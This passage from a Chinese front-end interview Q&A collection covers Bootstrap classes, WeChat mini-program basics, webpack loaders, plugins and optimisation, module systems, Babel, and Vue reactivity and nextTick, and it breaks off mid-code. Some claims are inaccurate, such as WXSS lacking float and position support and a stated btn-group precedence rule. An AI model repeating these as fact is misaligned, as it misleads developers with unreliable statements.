  • .pull-left:将元素浮动到左边。
<div class="pull-left">左浮动元素</div>
  • .pull-right:将元素浮动到右边。
<div class="pull-right">右浮动元素</div>
  • .clearfix:清除浮动,用于解决浮动元素导致的父元素高度塌陷的问题。一般在包含浮动元素的父元素上应用此类。
<div class="clearfix">
  <div class="pull-left">左浮动元素</div>
  <div class="pull-right">右浮动元素</div>
</div>

通过使用这些类,可以实现元素的浮动和清除浮动的效果,使布局更加灵活和符合设计要求。

# 16 除了屏幕阅读器外,其他设备上隐藏元素的class?

除了屏幕阅读器外,可以使用 .sr-only 类来隐藏元素,这个类可以在其他设备上隐藏元素,但在屏幕阅读器中仍然可见。这对于提供辅助功能和可访问性非常有用。

例如,可以将 .sr-only 类应用于某个元素,以隐藏其内容:

<span class="sr-only">这段文本在其他设备上隐藏</span>

这样,在常规的可视设备上,这段文本是隐藏的,而在屏幕阅读器中,用户仍然可以访问和阅读这段文本的内容。

# 17 Bootstrap如何制作下拉菜单?

  • 将下拉菜单包裹在class="dropdown"<div>中;
  • 在触发下拉菜单的按钮中添加:class="btn dropdown-toggle" id="dropdownMenu1" data-toggle="dropdown"
  • 在包裹下拉菜单的ul中添加:class="dropdown-menu" role="menu" aria-labelledby="dropdownMenu1"
  • 在下拉菜单的列表项中添加:role="presentation"。其中,下拉菜单的标题要添加class="dropdown-header",选项部分要添加tabindex="-1"

正确,您提供的步骤是制作下拉菜单的基本步骤。下面是一个示例代码:

<div class="dropdown">
  <button class="btn dropdown-toggle" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
    下拉菜单
    <span class="caret"></span>
  </button>
  <ul class="dropdown-menu" role="menu" aria-labelledby="dropdownMenu1">
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项1</a></li>
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项2</a></li>
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项3</a></li>
    <li role="presentation" class="divider"></li>
    <li role="presentation" class="dropdown-header">标题</li>
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项4</a></li>
  </ul>
</div>

这是一个简单的下拉菜单示例,当点击按钮时,下拉菜单会展开显示选项。您可以根据自己的需求修改按钮文本、菜单项内容和样式。

# 18 Bootstrap如何制作按钮组?以及水平按钮组和垂直按钮组的优先级?

制作按钮组的基本步骤如下:

  1. 使用class="btn-group"<div>包裹按钮组。这将把一组按钮组合在一起。
<div class="btn-group" role="group" aria-label="按钮组">
  <button type="button" class="btn btn-primary">按钮1</button>
  <button type="button" class="btn btn-primary">按钮2</button>
  <button type="button" class="btn btn-primary">按钮3</button>
</div>
  1. 如果想要创建垂直按钮组,可以使用class="btn-group-vertical"
<div class="btn-group-vertical" role="group" aria-label="垂直按钮组">
  <button type="button" class="btn btn-primary">按钮1</button>
  <button type="button" class="btn btn-primary">按钮2</button>
  <button type="button" class="btn btn-primary">按钮3</button>
</div>

需要注意的是,btn-group的优先级高于btn-group-vertical的优先级。因此,如果使用了btn-group<div>包裹按钮组,并且同时使用了btn-group-vertical<div>,则以btn-group的样式为准,按钮组将水平显示。

# 19 Bootstrap如何设置按钮的下拉菜单?

要设置按钮的下拉菜单,可以将按钮和下拉菜单放置在一个.btn-group中。下面是示例代码:

<div class="btn-group">
  <button type="button" class="btn btn-primary">按钮</button>
  <button type="button" class="btn btn-primary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
    <span class="caret"></span>
    <span class="sr-only">下拉菜单</span>
  </button>
  <ul class="dropdown-menu">
    <li><a href="#">菜单项1</a></li>
    <li><a href="#">菜单项2</a></li>
    <li><a href="#">菜单项3</a></li>
  </ul>
</div>

在上面的代码中,.btn-group包含了一个按钮和一个带有.dropdown-toggle类的下拉菜单触发器按钮。通过添加.dropdown-toggle类和相关的data-toggle属性,可以实现按钮点击时展示下拉菜单。下拉菜单则是使用.dropdown-menu类定义的。

# 20 Bootstrap中的输入框组如何制作?

要制作Bootstrap中的输入框组,可以按照以下步骤进行操作:

  1. 创建一个带有class="input-group"<div>,将其作为输入框组的容器。
  2. <div>中,使用<span>标签并添加class="input-group-addon",在其中放置额外的内容,例如前缀或后缀元素。
  3. <span>标签放在<input>元素的前面或后面,以实现前缀或后缀元素与输入框的结合。

以下是一个示例代码:

<div class="input-group">
  <span class="input-group-addon">@</span>
  <input type="text" class="form-control" placeholder="用户名">
</div>

在上面的代码中,<div>元素具有class="input-group"<span>元素具有class="input-group-addon",并包含了一个前缀元素@。输入框使用<input>标签,并添加了class="form-control"用于样式设置。

你还可以根据需要添加其他的输入框组元素,如按钮、下拉菜单等,以创建更丰富的输入框组。

# 21 Bootstrap中的导航都有哪些?

Bootstrap提供了多种导航组件,以下是其中几种常用的导航:

  1. 标签页导航(Tabs):使用class="nav nav-tabs"创建标签页导航,用于在不同的内容页之间进行切换。
  2. 胶囊式标签页导航(Pills):使用class="nav nav-pills"创建胶囊式标签页导航,通常用于表示不同的选项或分类。
  3. 导航栏(Navbar):使用class="navbar navbar-default"role="navigation"创建导航栏,用于显示网站的主要导航链接。
  4. 面包屑导航(Breadcrumb):使用class="breadcrumb"创建面包屑导航,用于显示当前页面在网站结构中的位置。

除了上述导航组件外,Bootstrap还提供了其他导航相关的组件,如导航工具栏(Navbar Toolbar)、下拉菜单(Dropdown)、分页导航(Pagination)等,可以根据具体的需求选择合适的导航组件来构建网站的导航部分。

以下是几个常见导航组件的示例代码:

  1. 标签页导航(Tabs):
<ul class="nav nav-tabs">
  <li class="active"><a href="#home">Home</a></li>
  <li><a href="#profile">Profile</a></li>
  <li><a href="#messages">Messages</a></li>
</ul>
  1. 胶囊式标签页导航(Pills):
<ul class="nav nav-pills">
  <li class="active"><a href="#home">Home</a></li>
  <li><a href="#profile">Profile</a></li>
  <li><a href="#messages">Messages</a></li>
</ul>
  1. 导航栏(Navbar):
<nav class="navbar navbar-default" role="navigation">
  <div class="navbar-header">
    <a class="navbar-brand" href="#">Logo</a>
  </div>
  <ul class="nav navbar-nav">
    <li class="active"><a href="#">Home</a></li>
    <li><a href="#">About</a></li>
    <li><a href="#">Services</a></li>
    <li><a href="#">Contact</a></li>
  </ul>
</nav>
  1. 面包屑导航(Breadcrumb):
<ol class="breadcrumb">
  <li><a href="#">Home</a></li>
  <li><a href="#">Category</a></li>
  <li class="active">Current Page</li>
</ol>

这些示例代码仅为演示Bootstrap导航组件的基本结构,具体样式和功能可以根据需要进行进一步定制和扩展。

# 22 Bootstrap中设置分页的class?

在Bootstrap中,可以使用以下class来设置分页和翻页样式:

  • 默认分页样式:class="pagination"
<ul class="pagination">
  <li><a href="#">Previous</a></li>
  <li><a href="#">1</a></li>
  <li><a href="#">2</a></li>
  <li><a href="#">3</a></li>
  <li><a href="#">Next</a></li>
</ul>
  • 默认翻页样式:class="pager"
<ul class="pager">
  <li><a href="#">Previous</a></li>
  <li><a href="#">Next</a></li>
</ul>

这些class可以帮助你创建具有分页和翻页功能的导航组件,你可以根据需要进行样式和布局的调整。

# 23 Bootstrap中显示标签的class?

在Bootstrap中,可以使用class="label"来显示标签样式。以下是一个示例代码:

<span class="label">Default</span>

上述代码将创建一个默认样式的标签,你可以根据需要添加更多的class来自定义标签的样式。例如,你可以使用class="label label-primary"来创建一个带有主要颜色的标签。

<span class="label label-primary">Primary</span>

通过添加不同的class,你可以改变标签的颜色、背景色和其他样式,以适应你的设计需求。

# 24 Bootstrap中如何制作徽章?

在Bootstrap中,可以使用class="badge"来创建徽章。徽章用于在元素上显示一些提示信息或计数。

以下是一个示例代码:

<span class="badge">26</span>

上述代码将创建一个默认样式的徽章,并在徽章上显示数字"26"。你可以根据需要调整徽章的样式,例如改变背景颜色、文本颜色等。

<span class="badge badge-primary">26</span>

通过添加不同的class,你可以改变徽章的外观,使其适应你的设计需求。

# 25 Bootstrap中超大屏幕的作用是什么?

在Bootstrap中,class="jumbotron"用于创建超大屏幕(Jumbotron)组件。超大屏幕常用于页面的顶部,用于突出显示重要的信息或引导用户的注意力。

超大屏幕组件具有以下特点:

  • 标题的字体大小较大,以引起用户的注意。
  • 提供更多的外边距,使内容在页面上更突出。
  • 可以容纳大量的文本或其他内容,如标题、副标题、按钮等。
  • 可以通过自定义样式来改变背景颜色、文本样式等。

以下是一个示例代码:

<div class="jumbotron">
  <h1 class="display-4">Welcome to our website!</h1>
  <p class="lead">We provide high-quality products and excellent services.</p>
  <a class="btn btn-primary btn-lg" href="#" role="button">Learn more</a>
</div>

上述代码将创建一个超大屏幕组件,其中包含一个标题、副标题和一个按钮。你可以根据需要自定义超大屏幕的内容和样式,使其符合你的设计需求。

# 六、微信小程序相关

# 1 微信小程序有几个文件

微信小程序主要包含以下几个文件:

  1. .wxml(WeiXin Markup Language):用于描述小程序的页面结构,类似于 HTML。在这个文件中,可以使用小程序提供的组件和自定义的组件,以及使用数据绑定和逻辑控制语句来构建页面的结构。
  2. .wxss(WeiXin Style Sheets):是一套样式语言,用于描述 .wxml 文件中组件的样式。类似于 CSS,可以设置元素的样式、布局、动画效果等。
  3. .js:小程序的逻辑处理文件,包含了页面的逻辑代码。可以在这个文件中定义页面的事件处理函数、数据的处理和操作等。通过 JavaScript 的逻辑控制,可以实现小程序的交互功能。
  4. app.json:小程序的全局配置文件,必须存在于小程序项目中。在这个文件中,可以进行页面的注册,设置小程序的窗口样式,配置底部导航栏(tabBar),以及设置网络请求等。
  5. app.js:小程序的全局 JavaScript 文件,用于监听和处理小程序的生命周期函数、声明全局变量等。可以在这个文件中编写全局的逻辑代码。
  6. app.wxss:小程序的全局样式文件,用于设置小程序全局的样式。可以在这个文件中定义小程序的全局样式,如页面的背景色、字体样式、导航栏样式等。

以上是微信小程序中常见的文件类型,每个文件都有其特定的作用和功能,通过不同类型的文件协同工作,可以构建出完整的微信小程序应用。

# 2 微信小程序怎样跟事件传值

在微信小程序中,可以通过以下方式实现事件传值:

  1. 使用 data-* 属性:给 HTML 元素添加自定义的 data-* 属性来传递需要的值。例如,可以在某个元素上添加 data-id 属性来传递对应的 ID 值。在事件处理函数中,可以通过 event.currentTarget.dataset 来获取这些属性值。
<view data-id="123" bindtap="handleTap">点击我</view>
Page({
  handleTap(event) {
    const id = event.currentTarget.dataset.id;
    console.log(id); // 输出:123
  }
})
  1. 使用自定义属性:在小程序中可以给 HTML 元素添加自定义属性,然后在事件处理函数中通过 event.currentTarget.datasetevent.currentTarget.id 来获取这些属性值。
<view id="my-element" data-id="123" bindtap="handleTap">点击我</view>
Page({
  handleTap(event) {
    const id = event.currentTarget.dataset.id;
    const elementId = event.currentTarget.id;
    console.log(id); // 输出:123
    console.log(elementId); // 输出:my-element
  }
})
  1. 使用 event.detail:对于一些特定的事件,例如表单的提交事件 bindsubmit,可以通过 event.detail 来获取额外的参数值。
<form bindsubmit="handleSubmit">
  <input name="username" placeholder="请输入用户名" />
  <input name="password" type="password" placeholder="请输入密码" />
  <button type="submit">提交</button>
</form>
Page({
  handleSubmit(event) {
    const { username, password } = event.detail.value;
    console.log(username, password); // 输出:输入的用户名和密码
  }
})

通过以上方法,可以在微信小程序中实现事件传值,并在事件处理函数中获取传递的值,以实现更灵活的交互和数据处理。

# 3 小程序的 wxss 和 css 有哪些不一样的地方?

小程序的 WXSS(WeiXin Style Sheets)和 CSS(Cascading Style Sheets)在语法和功能上有一些不同之处:

  1. 图片引入方式:在 WXSS 中,图片引入需要使用外链地址,即通过网络地址加载图片,而不能使用相对路径或本地文件路径。
/* WXSS */
.image {
  background-image: url("https://example.com/image.jpg");
}
  1. 缺少 body 元素:小程序中没有 body 元素,样式可以直接写在页面的组件选择器上。
<!-- WXML -->
<view class="container">
  <text class="text">Hello, Mini Program!</text>
</view>
/* WXSS */
.container {
  background-color: #f5f5f5;
}

.text {
  color: #333;
  font-size: 14px;
}
  1. 样式导入方式:小程序中的样式文件可以使用 @import 导入其他样式文件。
/* WXSS */
@import "common.wxss";

.container {
  /* styles */
}
  1. 不支持部分 CSS 属性和选择器:小程序的 WXSS 并不完全支持所有的 CSS 属性和选择器,例如不支持浮动(float)和定位(position)属性,也不支持伪类选择器(:hover:before 等)和部分伪元素选择器。
/* WXSS */
.container {
  /* 不支持的属性 */
  /* 不支持的伪类选择器 */
}

需要注意的是,虽然 WXSS 和 CSS 在一些语法和功能上存在差异,但在基本的样式定义和样式属性上,它们仍然具有相似性,并可以使用类似的语法和规则进行样式的定义和控制。

# 4 小程序关联微信公众号如何确定用户的唯一性

在小程序中,如果要确定用户的唯一性并与微信公众号关联,可以使用以下步骤:

  1. 在小程序中调用 wx.login 方法获取用户的临时登录凭证 code
  2. 将获取到的 code 发送到后端服务器。
  3. 后端服务器通过 code 调用微信开放平台的接口,如 https://api.weixin.qq.com/sns/jscode2session,获取用户的 openidsession_key
  4. 后端服务器将 openid 返回给小程序前端,并存储在客户端。
  5. 在小程序中调用 wx.getUserInfo 方法获取用户信息,包括 encryptedDataiv
  6. 将获取到的 encryptedDataiv 发送到后端服务器。
  7. 后端服务器使用用户的 session_keyencryptedData 进行解密,获取用户的 unionId
  8. 将用户的 unionId 与用户的其他信息一起存储在后端服务器,用于唯一标识用户并与微信公众号关联。

需要注意的是,获取用户的 unionId 需要满足以下条件:

  • 小程序需要通过微信开放平台的方式进行接入,而不是独立的小程序账号。
  • 小程序和微信公众号需要在同一个微信开放平台账号下,且已经完成了关联。
  • 用户在小程序和微信公众号之间需要存在关联关系,例如用户曾经在微信公众号中授权过。

通过以上步骤,可以确定用户的唯一性并与微信公众号进行关联。后续的操作中,可以根据用户的 unionId 进行个性化的业务逻辑处理。

# 5 微信小程序与vue区别

微信小程序和Vue在一些方面确实存在一些差异,以下是它们之间的一些区别:

  1. 生命周期:微信小程序的生命周期相对简单,包括onLoadonShowonReadyonHideonUnload等几个基本生命周期函数。而Vue拥有更为丰富的生命周期钩子函数,例如createdmountedupdateddestroyed等。
  2. 数据绑定语法:微信小程序使用{{}}来进行数据绑定,而Vue使用简洁的v-bindv-model指令来实现数据绑定。
  3. 元素显示和隐藏:在微信小程序中,可以使用wx-ifhidden来控制元素的显示和隐藏;而在Vue中,可以使用v-ifv-show来实现相同的功能。
  4. 事件处理:微信小程序中使用bindtapcatchtap来绑定事件处理函数,而Vue使用v-on或@来绑定事件处理函数。
  5. 数据双向绑定:在Vue中,可以通过使用v-model指令实现表单元素与数据的双向绑定,而微信小程序需要手动获取表单元素的值并将其赋给对应的数据变量。

除了上述的区别之外,微信小程序和Vue在一些基本概念和思想上也存在差异,例如组件化开发的方式、数据状态管理的实现方式等。然而,它们都可以用于构建具有交互性和可复用性的前端应用程序,并且都有着广泛的应用和社区支持。

# 七、webpack相关

# 1 优化 webpack 打包体积的思路

优化 webpack 打包体积的思路包括:

  1. 提取第三方库或通过引用外部文件的方式引入第三方库:将第三方库单独打包,并通过 CDN 引入,减少打包体积。
  2. 使用代码压缩插件:例如 UglifyJsPlugin,可以压缩 JavaScript 代码,减小文件体积。
  3. 启用服务器端的 Gzip 压缩:通过服务器端配置 Gzip 压缩,减少传输体积。
  4. 按需加载资源文件:使用 require.ensure 或动态导入(import())的方式按需加载资源文件,避免一次性加载所有资源,优化加载速度和体积。
  5. 优化 devtool 中的 source-map:选择合适的 devtool 配置,确保在开发阶段能够提供足够的错误追踪信息,但不会增加过多的打包体积。
  6. 剥离 CSS 文件:将 CSS 文件单独打包,通过 <link> 标签引入,利用浏览器的并行加载能力。
  7. 去除不必要的插件:检查 webpack 配置中的插件,移除不必要的插件或根据环境区分开发环境和生产环境的配置,避免将开发环境的调试工具打包到生产环境中。

除了上述优化思路,还可以考虑以下几点:

  • 使用 Tree Shaking:通过配置 webpack,将未使用的代码在打包过程中消除,减少打包体积。
  • 使用模块化引入:合理使用 ES6 模块化语法或其他模块化方案,按需引入模块,避免不必要的全局引入。
  • 按需加载第三方库:对于较大的第三方库,可以考虑按需加载,而不是一次性全部引入。
  • 优化图片资源:压缩图片,使用适当的图片格式,尽量减小图片体积。
  • 优化字体文件:如果使用了大量的字体文件,可以考虑只引入需要的字体文件,避免全部引入。
  • 使用缓存:通过配置合适的缓存策略,利用浏览器缓存机制,减少重复加载资源。

综合以上优化思路,可以有效减小 webpack 打包生成的文件体积,提升应用性能和加载速度。需要根据具体项目情况和需求,选择合适的优化策略和配置。

# 2 优化 webpack 打包效率的方法

  1. 使用增量构建和热更新:在开发环境下,使用增量构建和热更新功能,只重新构建修改过的模块,减少整体构建时间。
  2. 避免无意义的工作:在开发环境中,避免执行无意义的工作,如提取 CSS、计算文件 hash 等,以减少构建时间。
  3. 配置合适的 devtool:选择适当的 devtool 配置,提供足够的调试信息,但不会对构建性能产生太大影响。
  4. 选择合适的 loader:根据需要加载的资源类型选择高效的 loader,避免不必要的解析和处理过程。
  5. 启用 loader 缓存:对于耗时较长的 loader,如 babel-loader,可以启用缓存功能,避免重复处理同一文件。
  6. 采用引入方式引入第三方库:对于第三方库,可以通过直接引入的方式(如 CDN 引入)来减少打包时间。
  7. 提取公共代码:通过配置 webpack 的 SplitChunks 插件,提取公共代码,避免重复打包相同的代码,提高打包效率。
  8. 优化构建时的搜索路径:指定需要构建的目录和不需要构建的目录,减少搜索范围,加快构建速度。
  9. 模块化引入需要的部分:使用按需引入的方式,只引入需要的模块或组件,避免加载不必要的代码,提高构建效率。

通过以上优化措施,可以有效提升 webpack 的打包效率,减少开发和构建时间,提升开发效率和用户体验。根据具体项目需求和场景,选择适合的优化方法进行配置和调整。

# 3 编写Loader

编写一个名为 reverse-txt-loader 的 Loader,实现对文本内容进行反转处理的功能。

// reverse-txt-loader.js

module.exports = function (source) {
  // 对源代码进行处理,这里是将字符串反转
  const reversedSource = source.split('').reverse().join('');

  // 返回处理后的 JavaScript 代码作为模块输出
  return `module.exports = '${reversedSource}';`;
};

上述代码定义了一个函数,该函数接收一个参数 source,即原始的文本内容。在函数内部,我们将源代码进行反转处理,并将处理后的结果拼接成一个字符串,再通过 module.exports 输出为一个 JavaScript 模块。

要使用这个 Loader,需要在 webpack 配置中指定该 Loader 的路径:

// webpack.config.js

module.exports = {
  // ...
  module: {
    rules: [
      {
        test: /\.txt$/,
        use: [
          {
            loader: './path/reverse-txt-loader'
          }
        ]
      }
    ]
  }
  // ...
};

上述配置将该 Loader 应用于所有以 .txt 结尾的文件。在构建过程中,当遇到需要加载的 .txt 文件时,会调用 reverse-txt-loader 对文件内容进行反转处理,并将处理后的结果作为模块的输出。

请注意,在实际使用中,需要根据实际路径修改 loader 配置的路径,并将该 Loader 安装在项目中。

# 4 编写plugin

编写一个自定义的 Webpack 插件需要创建一个 JavaScript 类,并在类中实现指定的生命周期方法。下面是一个简单的示例,展示如何编写一个自定义的 Webpack 插件:

class MyPlugin {
  constructor(options) {
    // 在构造函数中可以接收插件的配置参数
    this.options = options;
  }

  // Webpack 在安装插件时会自动调用 apply 方法,并将 compiler 对象传递进来
  apply(compiler) {
    // 在适当的生命周期钩子中挂载插件的功能

    // 示例:在 emit 生命周期钩子中添加自定义的功能
    compiler.hooks.emit.tap('MyPlugin', (compilation) => {
      // compilation 对象包含了当前构建过程的各种信息
      // 可以在这里执行一些自定义的操作

      // 示例:向输出的文件中添加自定义的注释
      const comment = this.options.comment || 'Custom comment';
      for (const asset in compilation.assets) {
        if (compilation.assets.hasOwnProperty(asset)) {
          compilation.assets[asset].source = () => {
            return `/* ${comment} */\n` + compilation.assets[asset].source();
          };
        }
      }
    });
  }
}

以上是一个简单的插件示例,它在构建过程中的 emit 生命周期钩子中向输出的文件添加了自定义的注释。你可以根据实际需求在其他生命周期钩子中实现不同的功能。

要使用该插件,在 webpack 的配置文件中进行如下配置:

const MyPlugin = require('./path/to/MyPlugin');

module.exports = {
  // ...
  plugins: [
    new MyPlugin({
      comment: 'Custom comment',
    }),
  ],
};

这样,当你运行 webpack 构建时,该插件就会被应用,并执行指定的功能。

需要注意的是,Webpack 的插件机制非常灵活,可以根据实际需求编写各种各样的插件。插件可以监听多个生命周期钩子,并在每个生命周期钩子中实现自定义的功能。详细的插件开发文档可以参考 Webpack 官方文档。

# 5 说一下webpack的一些plugin,怎么使用webpack对项目进行优化

Webpack 提供了许多插件(Plugins)来帮助优化项目构建和性能。下面列举一些常用的插件以及它们的作用:

构建优化插件:

  • ContextReplacementPlugin:用于限制某些模块的上下文,可以减少编译体积。
  • IgnorePlugin:用于忽略特定的模块,减少打包体积。
  • babel-plugin-import:用于按需加载和使用模块,减少打包体积。
  • babel-plugin-transform-runtime:将代码中的公共部分提取到一个单独的模块中,减少打包体积。
  • happypackthread-loader:实现并行编译,加快构建速度。
  • uglifyjs-webpack-plugin:通过并行压缩和缓存来加快代码压缩的速度。

性能优化插件:

  • Tree-shaking:通过静态分析代码,去除未使用的代码,减少打包体积。
  • Scope Hoisting:将模块之间的关系进行静态分析,减少打包后的模块数量,提升代码执行速度。
  • webpack-md5-plugin:根据文件内容生成 hash,实现缓存的更新机制。
  • splitChunksPlugin:根据配置将代码拆分成多个块,实现按需加载和并行加载的效果。
  • import()require.ensure:动态导入模块,实现按需加载,提升页面加载速度。

除了使用这些插件,还可以通过配置 webpack 的其他参数来进一步优化项目,例如:

  • 配置 devtool:选择合适的 Source Map 类型,既满足调试需求又不影响构建速度。
  • 配置 output:使用 chunkhashcontenthash 生成文件名,实现长期缓存。
  • 使用 cache-loaderhard-source-webpack-pluginuglifyjs-webpack-plugin 等插件开启缓存,加速再次构建。
  • 使用 DllWebpackPluginDllReferencePlugin 预编译公共模块,减少重复构建时间。

综合使用这些插件和优化策略,可以显著提升 webpack 项目的构建效率和性能。但是需要根据具体的项目需求和场景选择合适的插件和优化方法。

# 6 webpack Plugin 和 Loader 的区别

  • Loader 用于对模块源码进行转换,将非 JavaScript 模块转换为 JavaScript 模块,或对模块进行预处理。它描述了 webpack 如何处理不同类型的文件,比如将 Sass 文件转换为 CSS 文件,或将 ES6 代码转换为 ES5 代码。Loader 是针对单个文件的转换操作,通过配置 rules 来匹配文件并指定相应的 Loader
  • Plugin 用于扩展 webpack 的功能,解决 Loader 无法解决的问题。Plugin 可以监听 webpack 构建过程中的事件,并在特定的时机执行相应的操作。它可以在打包优化、资源管理、环境变量注入等方面提供额外的功能。Plugin 的功能范围更广泛,可以修改 webpack 的内部行为,从而实现更复杂的构建需求。

总的来说,Loader 是用于处理模块源码的转换工具,而 Plugin 则是用于扩展 webpack 的功能,通过监听 webpack 构建过程中的事件来执行相应的操作。它们各自的作用和功能不同,但都可以用于优化和定制 webpack 的构建过程。在配置 webpack 时,我们可以通过配置 LoaderPlugin 来满足不同的需求,并实现对模块的转换和构建过程的定制化

# 7 tree shaking 的原理是什么

Tree shaking 的原理主要是基于静态分析的方式来实现无用代码的消除,从而减小最终打包生成的文件体积。它的工作原理可以简要概括如下:

  1. 采用 ES6 Module 语法:Tree shaking 只对 ES6 Module 语法进行静态分析和优化。ES6 Module 的特点是可以进行静态分析,这意味着在编译阶段就能够确定模块之间的依赖关系。
  2. 静态分析模块依赖:在编译过程中,通过静态分析可以确定每个模块的依赖关系,以及模块中导出的函数、变量等信息。
  3. 标记未被引用的代码:在静态分析的过程中,会标记出那些未被其他模块引用的函数、变量和代码块。
  4. 消除未被引用的代码:在构建过程中,根据静态分析得到的标记信息,可以对未被引用的代码进行消除。这样,在最终生成的打包文件中,未被引用的代码将不会包含在内。

总结来说,Tree shaking 的核心思想是通过静态分析模块依赖关系,并标记和消除未被引用的代码。这样可以大大减小打包后的文件体积,提升应用的性能和加载速度。需要注意的是,Tree shaking 只对 ES6 Module 语法起作用,而对于 CommonJS 等其他模块系统则无法进行静态分析和优化。

# 8 common.js 和 es6 中模块引入的区别

CommonJS 是一种模块规范,最初被应用于 Nodejs,成为 Nodejs 的模块规范。运行在浏览器端的 JavaScript 由于也缺少类似的规范,在 ES6 出来之前,前端也实现了一套相同的模块规范 (例如: AMD),用来对前端模块进行管理。自 ES6 起,引入了一套新的 ES6 Module规范,在语言标准的层面上实现了模块功能,而且实现得相当简单,有望成为浏览器和服务器通用的模块解决方案。但目前浏览器对 ES6 Module 兼容还不太好,我们平时在 Webpack 中使用的 exportimport,会经过 Babel 转换为 CommonJS 规范

CommonJS 和 ES6 Module 在模块引入的方式和特性上有一些区别,主要包括以下几个方面:

  1. 输出方式CommonJS 输出的是一个值的拷贝,而 ES6 Module 输出的是值的引用。在 CommonJS 中,模块导出的值是被复制的,即使导出模块后修改了模块内部的值,也不会影响导入模块的值。而在 ES6 Module 中,模块导出的值是引用关系,如果导出模块后修改了模块内部的值,会影响到导入模块的值
  2. 加载时机CommonJS 模块是运行时加载,也就是在代码执行到导入模块的位置时才会加载模块并执行。而 ES6 Module 是编译时输出接口,也就是在代码编译阶段就会确定模块的依赖关系,并在运行前静态地解析模块的导入和导出
  3. 导出方式CommonJS 采用的是 module.exports 导出,可以导出任意类型的值。ES6 Module 采用的是 export 导出,只能导出具名的变量、函数、类等,而不能直接导出任意值
  4. 导入方式CommonJS 使用 require() 来导入模块,可以使用动态语法,允许在条件语句中使用。ES6 Module 使用 import 来导入模块,它是静态语法,只能写在模块的顶层,不能写在条件语句中
  5. this 指向CommonJS 模块中的 this 指向当前模块的 exports 对象,而不是全局对象。ES6 Module 中的 this 默认是 undefined,在模块中直接使用 this 会报错

总的来说,CommonJS 主要用于服务器端的模块化开发,运行时加载,更适合动态加载模块,而 ES6 Module 是在语言层面上实现的模块化方案,静态编译,更适合在构建时进行模块依赖的静态分析和优化。在前端开发中,通常使用打包工具(如 webpack)将 ES6 Module 转换为 CommonJS 或其他模块规范,以实现在浏览器环境中的兼容性。

# 9 babel原理

Babel 是一个 JavaScript 编译器。他把最新版的 javascript 编译成当下可以执行的版本,简言之,利用 babel 就可以让我们在当前的项目中随意的使用这些新最新的 es6,甚至 es7 的语法

ES6、7代码输入 -> babylon进行解析 -> 得到AST(抽象语法树)-> plugin用babel-traverseAST树进行遍历转译 ->得到新的AST树->用babel-generator通过AST树生成ES5代码

它的工作流程包括解析(parse)、转换(transform)和生成(generate)三个主要步骤

  1. 解析(parse):Babel 使用解析器(如 Babylon)将输入的 JavaScript 代码解析成抽象语法树(AST)。解析器将代码分析成语法结构,并生成对应的 AST,表示代码的抽象语法结构。这个阶段包括词法分析和语法分析。词法分析将源代码转换为一个个标记(tokens)的流,而语法分析则将这个标记流转换为 AST 的形式。
  2. 转换(transform):在转换阶段,Babel 使用插件(plugins)对 AST 进行遍历和转换。插件可以对 AST 进行增删改查的操作,可以根据需求对语法进行转换、代码优化等。Babel 的插件系统非常灵活,可以根据需要自定义插件或使用现有插件来进行代码转换。
  3. 生成(generate):在生成阶段,Babel 使用生成器(如 babel-generator)将经过转换的 AST 转换回字符串形式的 JavaScript 代码。生成器会深度优先遍历 AST,并根据 AST 的节点类型生成对应的代码字符串,最终将代码字符串输出。

通过以上三个步骤,Babel 实现了将最新版本的 JavaScript 代码转换为向后兼容的代码,使得开发者可以在当前环境中使用较新的 JavaScript 特性和语法。同时,Babel 还提供了一些常用的插件和预设(presets),以便开发者快速配置和使用常见的转换规则,如转换 ES6、ES7 语法、处理模块化、转换 JSX 等。

总的来说,Babel 的原理是通过解析、转换和生成的过程,将新版本的 JavaScript 代码转换为兼容旧环境的代码,使开发者能够在当前环境中使用较新的 JavaScript 特性和语法。

# 八、框架相关

# 1 Vue 响应式原理

整体思路是数据劫持+观察者模式

对象内部通过 defineReactive 方法,使用 Object.defineProperty 将属性进行劫持(只会劫持已经存在的属性),数组则是通过重写数组方法来实现。当页面使用对应属性时,每个属性都拥有自己的 dep 属性,存放他所依赖的 watcher(依赖收集),当属性变化后会通知自己对应的 watcher 去更新(派发更新)。

class Observer {
  // 观测值
  constructor(value) {
    this.walk(value);
  }
  walk(data) {
    // 对象上的所有属性依次进行观测
    let keys = Object.keys(data);
    for (let i = 0; i < keys.length; i++) {
      let key = keys[i];
      let value = data[key];
      defineReactive(data, key, value);
    }
  }
}
// Object.defineProperty数据劫持核心 兼容性在ie9以及以上
function defineReactive(data, key, value) {
  observe(value); // 递归关键
  // --如果value还是一个对象会继续走一遍odefineReactive 层层遍历一直到value不是对象才停止
  //   思考?如果Vue数据嵌套层级过深 >>性能会受影响
  Object.defineProperty(data, key, {
    get() {
      console.log("获取值");

      //需要做依赖收集过程 这里代码没写出来
      return value;
    },
    set(newValue) {
      if (newValue === value) return;
      console.log("设置值");
      //需要做派发更新过程 这里代码没写出来
      value = newValue;
    },
  });
}
export function observe(value) {
  // 如果传过来的是对象或者数组 进行属性劫持
  if (
    Object.prototype.toString.call(value) === "[object Object]" ||
    Array.isArray(value)
  ) {
    return new Observer(value);
  }
}

# 2 Vue nextTick 原理

nextTick 中的回调是在下次 DOM 更新循环结束之后执行的延迟回调。在修改数据之后立即使用这个方法,获取更新后的 DOM。主要思路就是采用微任务优先的方式调用异步方法去执行 nextTick 包装的方法

let callbacks = [];
let pending = false;
function flushCallbacks() {
  pending = false; //把标志还原为false
  // 依次执行回调
  for (let i = 0; i < callbacks.length; i++) {
    callbacks[i]();
  }
}
let timerFunc; //定义异步方法  采用优雅降级
if (typeof Promise !== "undefined") {
  // 如果支持promise
  const p = Promise.resolve();
  timerFunc = () => {
    p.then(flushCallbacks);
  };
} else if (typeof MutationObserver !== "undefined") {
  // MutationObserver 主要是监听dom变化 也是一个异步方法
  let counter = 1;
  const observer = new MutationObserver(flushCallbacks);
  const textNode = document.createTextNode(String(counter));
  observer.observe(textNode, {
    characterData: true,
  });
  timerFunc = () => {
    counter = (counter + 1) % 2;
    textNode.data = String(counter);
  };
} else if (typeof setImmediate !== "undefined") {
  // 如果前面都不支持 判断setImmediate
  timerFunc = () => {
    setImmediate(flushCallbacks);
  };
} else {
  // 最后降级采用setTimeout
  timerFunc = () => {
